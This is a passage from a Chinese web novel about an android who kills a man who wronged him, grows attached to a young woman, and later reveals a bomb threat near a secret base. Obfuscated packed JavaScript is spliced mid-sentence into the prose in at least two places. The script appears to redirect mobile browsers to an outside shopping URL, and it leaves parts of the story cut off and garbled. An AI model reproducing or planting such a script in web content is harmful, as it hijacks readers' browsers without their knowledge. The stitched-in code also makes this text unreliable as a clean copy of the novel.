他翻身看着身下,远处是地面,车水马龙,他身体被莫名存在的空气屏障所承接,无比安稳。 从那时他便发现自己有凭空制造空气屏障的能力,就把自己关在房间里苦练。 他不去上学时韶赋修意外地没有责备他,而是让他休整了一年,再换了个身份重读高中。 一天,琀珏去学校拿回他的东西,听说全斯桉保送本部大学了,也就是缱盛大学。 同时,他发现放在柜子里的、自己研制的超灵活型义肢部件被人拿走了。虽然是个半成品,但也足够换来一张大学通行证。 那是唯一一次琀珏有仇未报,再以后无论他受了什么气含了什么冤,基本都会当下了结。 见面约在学校旁边的咖啡馆。 傍晚,冬季的五点,天已经有了暗下来的意思。上一层雪未融,便又有新一批的白色颗粒洋洋洒洒飘落下来。 澄净白雪给城市蒙上一层光,给人一种分不清白天黑夜的感觉。 全斯桉穿了件版型很正式的毛呢大衣,头发梳得利落,围着的格子围巾特意露出名牌logo。 琀珏站在玻璃墙边看着他,怎么看怎么不舒服。他觉得是因为那个金丝眼镜,和全斯桉太不匹配了,乍一看有种海归精英的做派,但再看就显得俗气。 一杯咖啡已经端上来,全斯桉看了看手表,表情有点不悦。 这时耳边传来响动,他抬眼望去,看到那个本该消失在他生命里的那个人。 琀珏这回终于想到要带个帽子。他没说什么,敲了敲玻璃,示意全斯桉出来。 全斯桉的眼神分明是想躲,看见琀珏的刹那眼珠子都快蹦出来了。后来他转念一想,自己没留下什么把柄,不怕琀珏找他麻烦,这才恢复了笑模样。 隔着玻璃他说了什么,见琀珏岿然不动,他才裹紧围巾走了出来。 “好久不见啊,你、你还好吧?”全斯桉结结巴巴地问候,还想伸手碰琀珏的肩膀。 琀珏侧身一步躲开,“不太好。你在这做什么?” “我、我……我这不是放假了,有个老师说给我介绍个女、女……” “女朋友?”琀珏狐疑地问。 “差不多吧!”全斯桉嘿嘿一笑,挠了挠头。 琀珏看着他的笑脸顿时觉得极其恶心。 “你呢?你这些年,都在干什么?” 他还有脸问。琀珏没给他好脸色,扶着左腿,指了指前面街边的便利店。 “把腿摔断了,什么也干不了。我没带钱,你能给我买包烟吗?” 看琀珏一副社会败类的样子,全斯桉都快抑制不住喜悦了。想着这么个人也没法找他麻烦,全斯桉那点快要消失的怜悯心激荡起来。 他搂着琀珏的肩膀,“没问题,走!” “好哥俩”肩并肩穿过马路,琀珏一瘸一拐地走不快,全斯桉便耐心地和他一起慢慢走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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以为自己出现幻觉的全斯桉试探性地摸了摸自己面前的虚无,而指尖坚硬的触感令他不甚惶恐。 他掉头就跑,刚迈了一步却又撞到屏障。左右也是,头顶也是,这下雪全积在他上方不远处,画面很诡异。 全斯桉转动着他那已经僵硬的眼珠子,“你不是人……你不是人!” “闭嘴。”琀珏嫌他很吵。 他缓慢走到全斯桉身前,眼睛懒得再掩饰了,已经完全变成机器人的样子,“我从来没有说过,我是人。” 全斯桉再也站不起来,不知是他本就脸色苍白还是被雪映照的,总之他的脸灰白一片,那双眼睛空洞又恐惧地面对琀珏那只伸向他的手。 五指间互相连通的白紫色电流炸响不止。当这些电流形如锋利的树枝锁住全斯桉的咽喉时,他无比清晰地看到那只手后面的那张脸,那张仿生皮背后有光线在线路和机械之间的脸。 雪下得更大了,为了欢庆他生命的终结。 站在巷口,琀珏拨通了他手机里很早存下的一个电话。 很快,那边接起电话来。 这是琀珏首次对那边说:“我需要你的帮助。” 尽管许久之前韶赋修就叮嘱琀珏说有事可以打这个电话,琀珏却从未拨打过一回。 琀珏知道这么多年来他户口学籍等事都是这个人做的,可那仅限于韶赋修和那人的直接联络。他知道韶赋修的手伸不到这里,但不知道那个人的真实身份。 所以即使韶赋修的要求只是“不要告诉她我们在找纪凛烛”,琀珏依然不愿意冒险。 他希望这是第一次,也是最后一次。 电话那边的女声声线清丽和缓,很利落就答应了,还什么都没有问。琀珏有点意外。 天黑透了,琀珏看了看表,把帽子戴回去,双手插兜往同学们订的KTV走去。 这是一条不算宽阔的小路,来往行人很少。琀珏迈脚之前,他前方五米处的一盏路灯灭掉了。 此后,琀珏一路走,路灯一盏盏灭掉,世界漆黑到这条路从未诞生过一样。 零点过后,整座城市的所有监控将由此故障,七十二小时内的一切录像将被隐藏。 153. 琀珏(5) 琀珏裹着一身寒气钻入包厢时,纪凛烛还没到。 大家都吵着琀珏来太晚了该罚,小小包厢里弥漫着浓郁的酒气和廉价空气清新剂的味道,巧妙地将他一身的血腥味掩盖。 外面天寒地冻,里面热得让人忍不住想穿短袖。一冷一热一激,加上琀珏心里好一阵奇怪的烦躁,他很快就头晕起来。 被灌了两瓶啤酒,他说他要睡觉,大家也就不再折腾他。 音响声大噪,霓虹灯条在四壁上圈成不同的图案,斑斓缤纷五光十色的灯转来转去,琀珏身体陷在沙发里,眼睛一闭就再也不想睁开。 没有外力加持,琀珏通常是无法入眠的。看似他紧闭着眼睡着了一样,实际身边一切动静一清二楚。 吵闹大概又持续了一个多小时,这次包厢门再度被打开,好一阵冷气扑面,琀珏裹紧了身上衣服。 大家吼到一半的歌声停止,全都高高兴兴叽叽喳喳迎接着什么。乱成一团的说话声里,琀珏异常灵敏地捕捉到纪凛烛的声音。 纪凛烛问他们琀珏怎么了。他们说琀珏睡着了。纪凛烛惊奇地问这么吵怎么能睡着呢?他们说不管他。 后来琀珏听到了原因。原来因为下大雪交通堵塞,纪凛烛坐的公交车被堵在路上,等她到咖啡馆时已经迟到将近一个小时了。 想着许是对方觉得她太过失礼而早早离开,纪凛烛就给老师打电话表示歉意。但老师表示也联系不上那人,所以半个小时后,老师亲自过去和纪凛烛谈。 最后纪凛烛还是拒绝了老师的好意。依照她的家庭情况来说,早早工作远走高飞是好事。且不说她大伯不会同意她接着往上考,即使放弃领取助学金,把家里人瞒住,她一边搞研究一边勤工俭学也过于辛苦。 说到这里,琀珏松了一口气。大家嘻嘻哈哈接着唱接着玩,一折腾,就折腾到清晨五点。 大家前段时间加班加点熬夜,现在也都玩累了,一个个横七竖八随便找了个地方躺下就呼呼大睡,包厢里安静下来,琀珏起伏的心绪也得以平缓。 他还是休不了眠,但又懒得动,就一直半躺在沙发上闭目养神。 有窸窸窣窣的声音在身旁游动,琀珏没有理会,直到那声音近了。 突然,一抹清凉被点在额头上,轻飘又柔软如羽毛一样的东西带着这股凉意在他额头上滑动。 一下就消失了,紧接着声音又响,又靠近了。 这次琀珏猛地睁开眼,伸手抓住了那正在靠近的手腕。 碘伏从棉棒顶端滑落,沿着棉棒的杆一路流到掐着棉棒的指尖。 “你要干什么?”琀珏嗓子发哑。 “我看你受伤了……”纪凛烛有些尴尬,“这么长的口子,你没事吧?” 琀珏顺着纪凛烛担忧的目光摸向自己的额头,果真摸到一条长五厘米的划痕,估计是当时全斯桉用那根棍子划的。 包厢里不知何时开了大灯。他刚回来的时候光线很暗他还带着帽子,怪不得没人看见。 “伤口在这里很危险的,要去医院吗?”为避免打扰到别人睡觉,纪凛烛悄声问道,“但是我看没流血,就只给你拿了碘伏……” “我没事,不小心的。” 再深一点恐怕就要露出内里的电路板了。琀珏连忙松开纪凛烛的手,撩了撩自己的头发将伤口挡住。 “哦……”纪凛烛说着就要把那棉棒丢掉。 “等等。” 等琀珏反应过来的时候,他的话已经出了口。 毫无办法,琀珏也不清楚他哪根筋搭错了,居然扭捏地说了句特别有病的话。 “消毒的话,涂、涂点也行……” “哦、哦。” 场面好像更加尴尬了。 纪凛烛换了根棉棒沾了沾碘伏,琀珏跟傻子似的把额前的头发撩起来,乖乖地任凭那根棉棒在自己脸上涂涂画画。 时间被无限拉长,包厢里氤氲着的烘热暖气和琀珏额头上那份带着淡淡痒意的清凉相抵触,有点雪花在掌心融化的感觉。 讲到这里,玄烈忽地换了个姿势坐着,边动边故意发出很大声音,气呼呼地把脚边一个石子朝着海面丢了好远,好像那石子把他怎么了似的。 片刻,玄烈不经意地又问了一句:“她、她给你擦药?” 琀珏孱弱地微微转过头对着玄烈,眼里似笑非笑,“对,她没给你擦过吗?” 如果眼神能杀人的话,琀珏下场应该和那全斯桉差不多了。 玄烈狠狠瞪着琀珏,有时候眼神里带着的脏字比说出来的更脏。接着他转向别处,再不想看琀珏一眼,“你继续。” 转眼纪凛烛大二下学期,琀珏该毕业了。 早春三月,琀珏刚把自己毕设交上去,韶赋修居然亲临缱清州,打的旗号是来看看他。 实际上琀珏一清二楚,韶赋修回来是因为他在这的线人发现了林瑀的存在。 林瑀也在默默关注着纪凛烛。 过多的内容韶赋修不和琀珏说,他整天整夜不出门,但也不闲着,从早到晚进进出出的线人都快赶上琀珏每天坐公交车上学见过的人多了。 某个空闲的中午,琀珏终于趁着端茶的功夫跟韶赋修说几句话。 他问他要是毕业了纪凛烛怎么办,韶赋修站在落地窗旁背着手一言不发。直到琀珏要离开时,韶赋修突然蹦了一句。 “那就杀掉好了。” 琀珏一开始不能相信,韶赋修见他不回应,转过身来接着道:“怎么?舍不得?” “不不,我……” 琀珏要辩解,却又说不出一句完整的话。韶赋修一下子把他的内心看得透透的,那双可以洞悉人心的眼睛,令琀珏发麻。 “真的‘不’吗?” 也是奇怪,韶赋修的话一完,琀珏嘴里的“不”字就怎么也说不出来了。 “他们说,你好像对我之前的命令很上心呢,紧密观察,寸步不离,是吗?你别告诉我,你观察出感情来了。” 韶赋修的话尖锐刺耳,听得琀珏心里打鼓却又针扎般不爽。 “别忘了你是谁,”韶赋修从琀珏手里接过那杯茶,“老套烂俗的话我不想说,就一句话,我最后的命令,杀了她。” 后来琀珏不记得他拒绝了没有,大概是没有的,他从来不敢违背韶赋修的命令,他因此而生,没有权利反抗。 但他用行动表示他的态度,那就是拒绝出门。 导师联系他毕设要改,不去。要论文,不写。工作室有项目,不管。总之就是不出门。 最大胆的一次,他把韶赋修都晾在门外十分钟不肯开门。 下场也很明显,他被暴打了一顿。逼急了他也会虚弱地说一句:“你把我打死算了。” 但就是这句话,让韶赋修对他有几分刮目相看了。 叮呤咣啷的声音不知持续了多久,琀珏伤痕累累躺在地上喘着粗气直不起身,韶赋修霸占着沙发望着窗外翘起二郎腿。 过了一会,韶赋修来了一句,“开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992891|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘杨絮了。” 比韶赋修声音更早飘到琀珏耳畔的,是窗边风中摇曳的银铃。郁郁葱茏间,一团团毛绒精灵浩浩荡荡越过低空,在干燥温暖的人间撒泼打滚。 琀珏忽然很想看一眼那样的景色,生怕下一秒他真的就死了。 不过他没能抬起头,因为伤得太重了,是他受过最严重的一次伤。 【琀珏:不过这次……比我那次伤得重多了……你真狠啊。】 【玄烈:别说废话。】 韶赋修也就是那么一说,他早看出琀珏什么意思,只不过为探探琀珏会不会忤逆他罢了。 不过韶赋修不松口,琀珏仍然坚持着不出门,到那一天。 琀珏的突然闭关令整个工作室措手不及,他们才刚在一重要比赛上报了名,正是需要人手需要大脑的时候。 前几次大家开会都还忍隐着不发,后来实在忍不住了,基本次次把琀珏拎出来大骂一顿,说他这种行为和不辞而别的渣男有什么区别。 好在除琀珏之外的骨干都很有责任心,大家一起拼着顶着,把艰难的阶段熬了过去,熬到一等奖到手,熬到获奖证书寄到了工作室。 好歹琀珏消失前还参与了一点,大家就把他的名字也加在了最后。 获奖证书和奖杯被放在工作室最耀眼的地方,纪凛烛也不好拿走,她便偷偷留了个复印件。 那天一早,纪凛烛就拿着打听来的琀珏的地址登上公交车。一路晃悠过各式各样的建筑,她靠在车窗边,想着什么时候也能有一间自己的屋子。 琀珏家在十三层,这里每一扇门整齐排布,每一条走廊都修得一模一样,还铺着地毯,踩上去像被浮游生物包裹着。 纪凛烛还以为走错了,误入了什么酒店。 站在纸上记着的1307房间前,纪凛烛想了想,还是没有敲响门。她拿出笔纸写了几行字,又从包里掏出那张获奖证书复印件,打算从门下的缝隙里塞过去。 不过她塞到一半,拿两张纸就被从里面飞快抽走了。纪凛烛一脸懵,但纸进去后就没了反应。 她犹豫一瞬,打算敲门时,门忽地打开了。 琀珏脸上头上胳膊上腿上缠的全是乱七八糟的纱布和贴得歪歪扭扭的创口贴。门一开,两人还尚未说话,他缠在手上那团未剪短的纱布掉到了地上。 纪凛烛惊呼:“你怎么了?” 琀珏把纱布捡起来,“我,没事……” 那些伤养养也就好了,可伤口透出的那些关于机器人的痕迹,琀珏实在无法展示给纪凛烛看,只好临时把自己包成粽子,掩盖住那些不为人知的秘密。 “进来吧。”琀珏侧身让开一条道。 纪凛烛一只脚迈出来,却半天没落地,她疑惑地四下张望着,朝门内阒无一人的房间喊了一声:“叔叔阿姨好!我是、我是琀珏的同学,我……” “我家没人。”琀珏打断道。但他觉得该有个理由,于是说:“我是孤儿。” 没成想,纪凛烛笑了,笑里很温暖,还带着点歉意、带着点无奈、带着点可惜。 站在明亮室内与混黑走廊之间,她笑着说:“我也是。” 很少有人对话的共情点放在这里,琀珏从未想过纪凛烛会这样回答,于是难免不知所措地愣在原地。 或许不一样的心绪开始得更早些,但琀珏几乎可以确定这种心绪有一个膨胀节点就在这里。 也是生平第一次,琀珏开始对未来产生联想。可惜,有联想就有意难平。 154. 第二战备基地(1) 琀珏顺利毕业,纪凛烛也顺利升了大三。 虽然不是学生会主席,但她也成功变成了新一任导助,在新生第一天军训的傍晚在教室里给一帮生瓜蛋子们点名。 他们见面的时间变少了。琀珏日常待在工作室里,每天天不亮就来了,晚上却总要待到整栋大楼就剩他一盏灯时再走。 可以说,涂云今天许多扛把子项目的萌芽,都是从那小小工作室里诞生的。 琀珏把这当成工作,全力以赴绞尽心血去做。至于纪凛烛偶尔的到来,他当做意外之喜。因为他发现如果时时刻刻总盼着想着这件事难免会失落。他很不喜欢,可以说很讨厌失落的感觉,所以只敢把她当做意外之喜。 纪凛烛的生活也基本是学校工作室两点一线,有时还会特种兵一样在工作室熬个通宵再去上课。 夜晚的时间不错,琀珏虽会担心纪凛烛这么熬下去身体会出大问题,他却还是期待着与之独处的几个小时。 夜深人静,没有人会讲话,他们甚至都不用对视,只要灯还亮着,身边人还在呼吸,就已经让琀珏幸福到像偷来的人生一样,一边沉溺,一边担心梦碎。 一天夜沉,琀珏出去跑了趟业务,回去已经很晚了。他站在工作室走廊旁磨砂玻璃墙边,看着纪凛烛窝在一角,涕泪横流。 那天,她发现了那封尘封的信。 琀珏如实告诉韶赋修关于纪凛烛要去永璃岛的事,韶赋修表示他早料想到了林瑀的举动,不过这对他而言,也是个机会。 “你的任务结束了。”韶赋修这样说。 “我也可以继续跟着去……” “不需要。” 韶赋修利落地斩断了琀珏的念想,“我猜林瑀是要让她去找他的,正合我意。” “‘他’……是谁?” 韶赋修没有回答。 那年夏天,纪凛烛收获毕业,辞去工作,瞒着大伯一家,买了张前往永璃岛的船票。 她头一回远行,也不打算回来。这次,不是琀珏孩子气地把自己关在房间就能逃避的事情。 他无法阻拦,更无权阻拦,好像对他们来说,这已经是最好的下场。 对后事颇有预感的琀珏没有选择和同事们一起去港口送她一程,见面仅止步于纪凛烛去工作室收拾东西那一天。 纪凛烛眼睛亮晶晶的,他知道她开口会是什么,所以宁愿她不要开口。但不说再见并不代表真的不会再见了。琀珏不是不明白,只是他尽力了。 他旁敲侧击从线人那里获得不少情报。再后来有一次韶赋修潜回永璃岛,他也跟着去了。 去的目的不是为了纪凛烛,而是为了会会玄烈,会会他这个被命运眷顾的人。 说了这么大段的话,琀珏好不容易缓过来一点,现在能慢慢撑着地面抬起点身子了。 “但结果令我很失望,”琀珏双眼敛着带有嘲讽的笑意,“我替她感到不值。” “现在值了。” 玄烈站起来撩了撩身上的沙子,走过来蹲在琀珏面前,伸出食指来摁向琀珏的伤口。 他手下一点点施力,琀珏脸色一点点绷不住。 “那你后来知道这纽扣到底哪来的了吗?”玄烈松开手,把纽扣像施舍一样丢到琀珏身边。 琀珏痛到挤不出笑来,“知道了……是第一次见她那天,她帽子上缝着的、代表太阳的装饰品。” “你说你舍不得杀她,骗子,你就是害她死亡的罪人之一。”玄烈语气间满是冷漠的恨意。 “我……说实话,我不知道,我真的不知道,”琀珏喃喃道,“我不知道他会引爆炸弹,如果是那样……” “如果是那样,你敢抛下这些救她走吗?” 琀珏沉默了,他撑着地的手臂一直在颤抖,终于支撑不住还是倒下了。 他目光移向玄烈,“你也早知有这么一天,你救她走了吗?” 玄烈沉默了。 此时,地面发着银光的灰白沙土突然有渐渐变亮的痕迹。玄烈以为自己眼睛过度疲劳而出现幻觉了。 不光地面,他眼前的一切都在缓慢渡上一层雾蒙蒙的光,闪烁着的纷繁色彩正在逐渐朦胧,天地之色被一道捉摸不到的连线过渡,事物变得鲜活。 眼睛有几分发酸发痛,这是猛然间捕获太多光亮的结果。 琀珏满意地合上眼睛,等待这抹光完全普照。玄烈却万分惊诧地不敢闭住眼。 顶着模糊不清的视野,玄烈遥望远方一片片建筑群,随后转到天顶。 “天……亮了……”玄烈轻声道。 “我和你说过,我有一个好消息,和一个坏消息要告诉你,”琀珏头转向玄烈,“你选一个吧。” 余惊未定的玄烈压着眉,“……先说好消息。” “好消息就是……第二战备基地的详细地址,你一直在找吧?不用再费心了,我找到了。” 确实是个好消息,玄烈眉头刚一松却又凝滞住。 他紧张地问:“你怎么知道?” 琀珏满意地弯起眼角,“是啊,坏消息就是,我知道了。” 玄烈飞速转动脑子想着如何套话之余,琀珏接着有气无力地补上一句,“不必担心,我会告诉你的。” “条件?”玄烈想着如果琀珏嘴硬不说,直接杀了也是可以的。 “给你三个小时。”琀珏说。 “咳咳……和美商厦、量子测控站、永沛医疗中心、寰宙交通站、卓谷大剧院,第二战备基地就隐匿在它们建筑中的某个地方。一颗炸弹,爆破力堪比你我在游乐场见过的那枚,三个小时后要是还没找到并拆除,那么……” 玄烈一把掐住琀珏的脖颈,掐得他青筋暴起,眼珠子快要突出来,“现在是你跟我谈条件的时候吗?” 脖子都快要被掐断了的琀珏依然倔强地笑意不改,“玄烈……都这个地步了……我和你一样……我还会……怕死吗?” 话到这里,玄烈话锋一转,“你怎么知道我要找第二战备基地?” “当然是通过……知道这件事的人啊,”琀珏整张脸憋得青紫,“时至今日……你还没有吃腻盲目相信别人的亏吗……” 忍住怒意,玄烈松了松手下力气,“这么说,你已经去过了?见到所谓的第二战备了吗?” “当然。”琀珏脸色很差,嘴上说得倒是轻巧。 “你们把第二战备偷走,变成你们涂云的帮手,不好吗?”玄烈问。 “你怎么知道……我们没有?”琀珏还在嘴硬。 “你能做到?还是靠仪琅?”玄烈轻哼一声,“你最好在我还有耐心的时候讲实话。” 琀珏淡淡地注视玄烈,显然已经做好了赴死的准备。 “炸弹是真,基地是假?” “炸弹是真,基地也是真。”琀珏毫不退却。 “你不怕涂云和舜氏交恶吗?”玄烈又向琀珏微微俯身,那压迫力化作阴影踩在琀珏胸膛,“韶赋修的主意?” “其实我来,就是为了跟你说这件事……他一开始给你的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不,他们也可能不会。玄烈好歹是第一战备,舜希不会自负到把这么个利器拱手相让,那样她抗衡韶赋修的能力会被大大削弱。 她总不能真完全指望阿盼吧? 况且从琀珏的话里来看,他们大概不知道第二战备基地是舜真程炼他们瞒着舜希所建造的…… 真的能瞒住吗?玄烈对这一点一直存疑。还是有可能的,舜希归根到底不过是个凡人,这座颠转城市总能有某些变化通过障眼法躲过她的眼睛。 但除了一个人,一个……不能称之为人的,全知全能者。 难道韶赋修是拉拢了骨环才得知第二战备基地?那么骨环又何以得知玄烈在找第二战备基地? 杨宁不知道,舜真不会说,程炼谁都不相信……那就是,身为数码人的棱镜! 他的一切均由那能够计算的代码和数字构成,玄烈当时被缠绕的谜团冲昏了头脑,遗忘了这一点,竟就这么单纯地把他所有想知道的问题全抛给了他。 天是亮了,高空有吱咋尖叫的机械鸟结伴飞过,无云无风,仿佛一切罪孽阴谋都会被隐藏。 不过这里是颠转,世界的另一面,空气里依然弥漫着不可原谅的味道。 说这些都还为时过早,玄烈看了眼腕表,一改先前的决定。 “把他带回舜氏,光明正大的。通知二队集合,就说接收到袭击恐吓,让他们散播开,报告一队三队请求支援!” 155. 第二战备基地(2) “你是说,涂云有意在市区制造爆炸,目的是来向舜氏示威?” 阿盼在静默肃穆的环形大堂中央来回踱步。在场有四支机械体队伍和数不尽的黑寂军,他们肩并肩整整齐齐围着中心站了一圈,几乎把整个大堂站满了。 尽管如此,堂顶清冷的白光和炽热的寒气只不要命地往玄烈头顶灌。 他把话说得很明白。涂云派琀珏前来威胁舜氏,时限内若未找到并拆除安防的炸弹,市区就恐难逃一劫。 “没道理啊。” 可惜阿盼一直听不明白。或者说他不相信玄烈的话。 辉煌的偌大空间,玄烈嘴皮子快磨破了也不见有一个人站出来迎合。眼看时间又过去二十分钟,他心里急又不能明说。 晶莹宽厚的掺金白玉瓷砖铺地,夹带灰银走线的浓墨石块做顶,灯光极不和谐地卡在上方。 玄烈只身站在中心靠门的地方,琀珏就躺在他旁边,二队更多人则站在远处,和其余队伍的机械体们混在一起。 这是玄烈要求的,他知道阿盼那帮人不好说服,这帮小孩站他身边也顶不上什么用场,万一再引起什么队伍帮派间的乱战,那就彻底抓瞎了。 天是黑的,四方黑寂军也是黑成一片,窗外倒透进虚假的亮,好一个黑白颠倒。 阿盼手臂交叉抱在胸前,不屑的目光轻悠落在琀珏身上,“既然他是来传消息的,你又为什么要把他打死?” “他出言不逊,我……失手了。何况涂云此番就是要和舜氏交恶,面对过去是敌人并且未来还要成为敌人的人,我凭什么手软?”玄烈只能这么说。 “自颠转成立以来,涂云和舜氏一向和谐,涂云为什么要放弃合作共赢的机会转而下手?玄烈,在没有一个合理解释前,我有理由怀疑,你,”阿盼硬气地指着玄烈的鼻子,“你故意制造恐慌,为的正是挑起舜氏和涂云的矛盾,所谓的爆炸,是你精心排布的陷阱!” “因为他列举的五个区域有舜氏潜藏的机密研究所,算理由吗?” 大部分情况下并不是谁嗓门高谁就占据主动权,虽然阿盼这招转移矛盾甚是有效,玄烈仍毫不退缩。他一步一步靠近阿盼,挤进光的中心地带。 “你尽管按兵不动。最好爆炸发生之后、要纠责的时候你还能轻描淡写地把责任全推到我头上。” “机密研究所……真的假的?我怎么不知道?”周围人已经开始窃窃私语了,阿盼端着的架子依旧不肯松懈。 “如果让你知道,还怎么算机密?”说到这,玄烈看着一边琀珏的死样子,又补了一句,“我也是才知道。” 话音未落,战斗长靴厚硬胶底发出的“嗒嗒”声便抢占了所有人的注意力。 舜希带着程炼遥遥等人从堂后一扇侧门走了出来。先前玄烈从未发现那竟然有一扇门。 或许她一直就在那。 阿盼刚要解释,舜希一扬手,示意阿盼闭嘴。 “我都听到了。” 黑寂军们自觉敞开一条大路,恭迎舜希走到堂中,把阿盼逼到一边去。 “我和涂云的人联络过了,仪琅已经把韶赋修要琀珏带到的话原封不动地复述给我。” 糟糕,玄烈心里一紧。肯定是那边看琀珏迟迟不归,想着可能是话没带到,竟然直接一通电话打到舜希那去了。 可奇怪的是,为什么这个舜希看上去一点都不生气? “玄烈说的没错,”舜希的话压住了所有的窃窃私语,场上的光仿佛也因她的到来绽得更加盛大,“涂云的目的是潜藏着的第二战备基地。” 听到那关键的几个字,机械体之间的交头接耳再也压抑不住如滔滔江水般涌来,给玄烈从头到脚浇了个透心凉。 “距截止期限还有两个半世界时,玄烈,说说你的想法。”舜希说。 停顿片刻清理思绪,舜希那张人不人鬼不鬼的面具摆在眼前,玄烈忽地有了别的猜测。 他清了清嗓,刻意提高了两分音量,“兵分三路,一波人分散至五个地点进行搜寻,不需要人太多,简单的人手配备专业炸弹探测仪即可。另一拨人去找骨环,他是颠转区域的全知全能者,任何潜藏的活动都不会逃过他的感知,他一定知道我们要找的在哪。最后一路人……直达涂云大厦,这件事必须要个说法。” 玄烈话一出,就把在场各种意见封锁在各自人的嘴里。舜希点头应着,面具上刻画的嘴角又上扬的痕迹。 不过发号施令很简单,这几波人究竟怎么分,玄烈也觉得很被动。 五选一的几率太小,何况说不定舜希压根不会让他选。可如果去见骨环的人里没有自己人,那么结果就完全不可控了,谁知道上一秒能把机密卖给韶赋修的骨环下一秒能说出点什么话来。 舜希自始至终脸上没有太大的变化,程炼也严肃惯了,就是不知为何遥遥也一副庄重谨慎的样子。 假设这根本就是舜希和韶赋修商量好的呢?韶赋修得知了第二战备基地的存在,并试图想办法铲除,于是他找到舜希…… 也不对。纵使第二战备基地是为对抗舜希和韶赋修二人而建立的,舜希也不大可能愤而想这么个办法干脆地炸掉,她完全可以为自己所用,用来对付韶赋修。 如果真如阿盼所说,这是个陷阱呢? 舜希招呼程炼过来,“程总,你觉得,这么些精明能干的手下,怎样分配他们合适呢?” 可她话已经掉在地上半天了,程炼仍没有靠近的意思,“舜董,我不了解他们现在的能力和脾性,恐怕没办法做出正确高效的分工。” “没关系,”舜希微微侧身,以余光对准侧后方的程炼,“纵使他们各有差异和优势,只要是为舜氏服务,我相信他们都能会竭尽全力的。” 想来再推脱就是死路一条,程炼还是板着脸走了上来。他环顾在场乌泱泱的人,硬着头皮开始分配。 点兵点将点了一圈,去涂云的任务被分给了舜希那支直系机械体队伍里的队长加副队共五六个人。他们带上几支高级黑寂军小队,这样又能有压迫力又不至于太过招摇。 骨环那边,舜希表示她另有打算。 其实去涂云讨个说法这件事是玄烈现想的,完全是徒劳,多此一举,但也是有意为之。舜希没有拒绝阻拦,说明她有气,可能她先前真的不知道这件事。 与此同时她那不上心的表现也能看出,或许这个哑巴亏她是吃定了,只是吃得不多。 韶赋修能用第二战备基地给舜希提个醒,为她清理门户提供一条渠道,搞得舜希没办法反过来指责韶赋修的不是。那些派去讨要 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程炼头也没抬,伸手在平板上划着什么。从他眼里反射的颜色来看,像是边说边直接在任务板面下达任务。 “等等。” 摁向确认按钮前,舜希拦住了程炼的动作。 “卓谷大剧院是相较其余四处地点来说更靠近涂云、远离舜氏的地方,保险起见,就让阿盼也跟去吧。” 指尖悬在屏幕上方不过一厘米的地方,此时,程炼终于舍得抬眼看玄烈一眼。不过这是非常轻妙的微动作,他转而就看向了阿盼。 阿盼显然受宠若惊,以为这是重用中的重用,一双大眼睛瞪得比灯都亮。 “那就不必带太多人了,”程炼将写有阿盼名字的方块从别的区域拖进来,又将崎钥的名字块拖了出去,“三只机械体两只黑寂军的队伍轻便灵活。” “就这样吧。”舜希轻飘飘地说。 那一眼代表什么呢?玄烈细细分析着程炼那一闪而过的眼神。 可惜眼神不能写字,他还没神通广大到四目相对的瞬间就能钻进程炼脑子里把第二战备基地的地图描摹出来。 有了阿盼的加入事情只会更难办。 乘飞车前往目的地的路上,阿盼透过窗俯瞰地面熙攘繁闹的车流。 城市的光亮被天空寂静的那抹洁白消磨得不再扎眼,叛逆的斑斓色彩只想莹莹点点的彩色星光,有种单纯的美。 “原来第二战备真的在这,还被带进了颠转……”阿盼嘟囔道。 他忽而转头想说什么,对上的却是黑寂军死板的铁脸,再往那边的座位才是玄烈。此刻玄烈也正望着窗外默不作声。 阿盼活泼的脸色顷刻间便收了回去,重新展出他作为一队队长那尊贵威严的面孔。 就连说出口的话也变了味道,“哎,玄烈,你不会早知道第二战备在这吧?还是你根本就参与了这件事?你有没有想过,万一第二战备真的被制造出来,那你就……” 话至此,玄烈突然转过脸来凝视阿盼。他不带一丝表情,眉目间是冷漠和疏离,还有点排斥外物的意味,整得阿盼不自觉闭上了嘴。 “我没参与,也不感兴趣。” 156. 第二战备基地(3) 事发这一天正巧剧院在办什么话剧节,整栋建筑上挂满了气球横幅,还有某经典话剧扮相的充气人在剧院门口随风招手。 充气人个个高过剧院房顶。坐在飞车上向下附望,能看到有近十只充气人各自东倒西歪地摇摇晃晃,模样十分有趣。 临时清空的命令下来,人们只得乖乖疏散。他们疑惑又不敢反抗,甚至不敢问问发生了什么事,全都低着头挤成一片,走出剧院门后全都头也不回地跑走了。 飞车停在身后,玄烈同阿盼和崎朗以及两张排爆黑寂军站在不远处。现场还来了一众身穿安保服的黑寂军负责维持秩序。 还有时间,玄烈看了眼手表,耐心等待人群疏散完毕。 模拟天幕似乎还在调试,人为制造的白天还不太真切,天光白得令人不适,玄烈皱起了眉。 他正一门心思琢磨接下来的行动,人群中,一抹红色嘭地照亮了玄烈的眼睛。 一捆麻花辫,黑色发圈,却缠了一条很不搭的赤色丝质手帕。 起伏皱褶间,玄烈眯着眼探见了手帕一角上手工绣有的小熊、月亮、时韶花……至于为何是赤色,那赤色红得并不显眼,隐隐带有发黑发褐的迹象,红得浓厚,黑得惨烈。 愣了三秒,玄烈没有迈出步子。他眼睛仍定位在那条手帕上,手摸向自己的口袋。 原本平平整整放着那枚从琀珏手里抢过的手帕的地方,是空的。 没有再犹豫了,玄烈几乎是瞬间便冲了出去。连风都化作无形刀刃,每跑一步都像是被上帝之手强制削减了速度,脚腕越行越重,小腿发僵。 